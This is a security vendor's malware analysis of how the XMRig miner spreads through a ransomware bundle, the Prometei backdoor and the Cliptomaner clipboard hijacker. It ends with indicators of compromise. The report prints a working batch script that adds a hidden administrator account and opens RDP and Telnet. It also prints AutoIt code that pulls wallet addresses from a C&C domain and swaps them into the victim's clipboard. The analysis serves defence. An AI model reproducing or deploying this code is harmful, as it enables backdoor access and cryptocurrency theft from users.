On the trail of the XMRig miner

By Anton Kuzmenko

Published: 2020-10-22 · Archived: 2026-04-06 01:02:22 UTC

As protection methods improve, the developers of miners have had to enhance their own creations, often turning to non-trivial solutions. Several such solutions (previously unseen by us) were detected during our analysis of the open source miner XMRig.

How it all began: ransominer

Alongside well-known groups that make money from data theft and ransomware (for example, Maze, which is suspected of the recent attacks on SK Hynix and LG Electronics), many would-be attackers are attracted by the high-profile successes of cybercrime. In terms of technical capabilities, such amateurs lag far behind organized groups and therefore use publicly available ransomware, targeting ordinary users instead of the corporate sector.

The outlays on such attacks are often quite small, so the miscreants have to resort to various stratagems to maximize the payout from each infected machine. For example, in August of this year, we noticed a rather curious infection method: on the victim's machine, a Trojan (a common one detected by our solutions as Trojan.Win32.Generic) was run, which installed administration programs, added a new user, and opened RDP access to the computer. Next, the ransomware Trojan-Ransom.Win32.Crusis started on the same machine, followed by the loader of the XMRig miner, which then set about mining Monero cryptocurrency.

As a result, the computer would already start earning money for the cybercriminals just as the user saw the ransom note. In addition, RDP access allowed the attackers to manually study the victim's network and, if desired, spread the ransomware to other nodes.

Details about Trojan files:

- Mssql — PC Hunter x64 (f6a3d38aa0ae08c3294d6ed26266693f)
- mssql2 — PC Hunter x86 (f7d94750703f0c1ddd1edd36f6d0371d)
- exe — nmap-like network scanner (597de376b1f80c06d501415dd973dcec)
- bat — removes shadow copy
- bat — creates a new user, adds it to the administrators group, opens the port for RDP access, and starts the Telnet server
- exe — IOBIT Unlocker (5840aa36b70b7c03c25e5e1266c5835b)
- EVER\SearchHost.exe — Everything software (8add121fa398ebf83e8b5db8f17b45e0)
- EVER\1saas\1saas.exe — ransomware Trojan-Ransom.Win32.Crusis (0880430c257ce49d7490099d2a8dd01a)
- EVER\1saas \LogDelete — miner loader (6ca170ece252721ed6cc3cfa3302d6f0, HEUR:Trojan-Downloader.Win32.Generic)

```
@echo off
set user=systembackup
set pass=Default3104
set AdmGroupSID=S-1-5-32-544
set AdmGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In ('WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="') Do set AdmGroup=%%J
set AdmGroup=%AdmGroup:~0,-1%
net user %user% %pass% /add /active:"yes" /expires:"never" /passwordchg:"NO"
net localgroup %AdmGroup% %user% /add
set RDPGroupSID=S-1-5-32-555
set RDPGroup=
For /F "UseBackQ Tokens=1* Delims==" %%I In ('WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="') Do set RDPGroup=%%J
set RDPGroup=%RDPGroup:~0,-1%
net localgroup "%RDPGroup%" %user% /add
net accounts /forcelogoff:no /maxpwage:unlimited
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %user% /t REG_DWORD /d 0x0 /f

if not exist %systemdrive%\users\%user% mkdir %systemdrive%\users\%user%
attrib %systemdrive%\users\%user% +r +a +s +h
netsh firewall add portopening TCP 3389 "Remote Desktop"
sc config tlntsvr start=auto
tlntadmn config port=3104 sec=-NTLM
net start Telnet
del %0
```

Batch script systembackup.bat adds a user and opens access via RDP

We decided to use KSN to examine how often XMRig and its modifications get bundled with malware. It emerged that in August 2020 there were more than 5,000 attempts to install it on users' computers. The parties responsible for its distribution turned out to be the Prometei malware family and a new family called Cliptomaner.

Prometei backdoor

The Prometei family has been known since 2016, but spotted together with XMRig for the first time in February 2020. What's more, the backdoor was distributed in an unusual way: whereas during ordinary attacks the cybercriminals gain server access through various exploits, this time they used brute-force attacks. Having thus obtained usernames and passwords for computers with MS SQL installed, the attackers used the T-SQL function *xp_cmdshell* to run several PowerShell scripts and elevated the privileges of the current user by exploiting the CVE-2016-0099 vulnerability. After that, Purple Fox Trojan and Prometei itself were installed on the victim's machine. The whole attack, starting with the brute-forcing of credentials to connect to the SQL server and ending with the installation of Prometei, was carried out in fully automatic mode.

The installation process is of interest: the .NET executable file, packed into an ELF file using standard .NET Core tools (Apphost), sends information about the infected machine to the C&C server, and then downloads the cryptocurrency miner and its configuration. The versions of the loaders for Windows and Linux differ only slightly: the .NET build for different platforms saved the attackers from having to create a separate loader for Linux and allowed cryptocurrency mining on powerful Windows and Linux servers.

Cliptomaner miner

Detected in September 2020, Cliptomaner is very similar to its fellows: like them, it not only mines cryptocurrency, but can also substitute cryptowallet addresses in the clipboard. The miner version is selected according to the computer configuration and downloaded from C&C. The malware is distributed under the guise of software for Realtek audio equipment. On the whole, we saw no new techniques, but interestingly Cliptomaner is written entirely in the AutoIT scripting language. Most of the time, families with similar behavior are written in compiled languages, such as C# or C, but in this case the authors opted for a more creative approach, and wrote a lengthy script that selects the required version of the miner and receives cryptowallet addresses from C&C for substitution.

```
$LTC = ( _INETGETSOURCE ( "http://taskhostw.com/LTC.html" ) )
SLEEP ( 1000 )
$BTC = ( _INETGETSOURCE ( "http://taskhostw.com/BTC.html" ) )
SLEEP ( 1000 )
$ETH = ( _INETGETSOURCE ( "http://taskhostw.com/ETH.html" ) )
SLEEP ( 1000 )
$ZEC = ( _INETGETSOURCE ( "http://taskhostw.com/ZEC.html" ) )
SLEEP ( 1000 )
$DODGE = ( _INETGETSOURCE ( "http://taskhostw.com/DOGE.html" ) )
IF $LTC = "" THEN
$LTC = "LPor3PrQHcQv4obYKEZpnbqQEr8LMZoUuX"
ENDIF
IF $BTC = "" THEN
$BTC = "33yPjjSMGHPp8zj1ZXySNJzSUfVSbpXEuL"
ENDIF
IF $ETH = "" THEN
$ETH = "0x795957d9753e854b62C64cF880Ae22c8Ab14991b"
ENDIF
IF $ZEC = "" THEN
$ZEC = "t1ZbJBqHQyytNYtCpDWFQzqPQ5xKftePPt8"
ENDIF
IF $DODGE = "" THEN
$DODGE = "DEUjj7mi5N67b6LYZPApyoV8Ek8hdNL1Vy"
ENDIF
LOCAL $SDATA = CLIPGET ( )
ADLIBREGISTER ( "Monitoring" , 4000 )
SLEEP ( 102 )
ADLIBREGISTER ( "DynamicUpdate" , 3600000 )
SLEEP ( 114 )
ADLIBREGISTER ( "DUPDATE" , 7200000 )
CONSOLEWRITE ( @CRLF & "Start While" & @CRLF )
$IDLE = 40
IF PROCESSEXISTS ( "taskmgr.exe" ) OR PROCESSEXISTS ( "perfmon.exe" ) THEN
PROCESSCLOSE ( "taskmgr.exe" )
PROCESSCLOSE ( "perfmon.exe" )
ENDIF
WHILE 1
LOCAL $SDATA = CLIPGET ( )
IF NOT STRINGINSTR ( $SDATA , " " ) THEN
IF STRINGLEFT ( $SDATA , 1 ) = "L" AND STRINGLEN ( $SDATA ) = 34 THEN
CLIPPUT ( $LTC )
ENDIF
ENDIF
```

Substituting cryptowallets in the clipboard

Kaspersky security solutions detect the above malicious programs with the following verdicts: HEUR:Trojan.MSIL.Prometei.gen, HEUR:Trojan.Script.Cliptomaner.gen, HEUR:Trojan-Downloader.Win32.Generic, Trojan-Ransom.Win32.Crusis, Trojan.Win64.Agentb, not-a-virus:RiskTool.Win64.XMRigMiner

Indicators of compromise (IoC)

Domains

taskhostw[.]com
svchost[.]xyz
sihost[.]xyz
srhost[.]xyz
2fsdfsdgvsdvzxcwwef-defender[.]xyz

Cryptowallets used for substitution

LTC: LPor3PrQHcQv4obYKEZpnbqQEr8LMZoUuX
BTC: 33yPjjSMGHPp8zj1ZXySNJzSUfVSbpXEuL
ETH: 0x795957d9753e854b62C64cF880Ae22c8Ab14991b
ZEC: t1ZbJBqHQyytNYtCpDWFQzqPQ5xKftePPt8
DODGE: DEUjj7mi5N67b6LYZPApyoV8Ek8hdNL1Vy

MD5

1273d0062a9c0a87e2b53e841b261976
16b9c67bc36957062c17c0eff03b48f3
d202d4a3f832a08cb8122d0154712dd1
6ca170ece252721ed6cc3cfa3302d6f0
1357b42546dc1d202aa9712f7b29aa0d
78f5094fa66a9aa4dc10470d5c3e3155
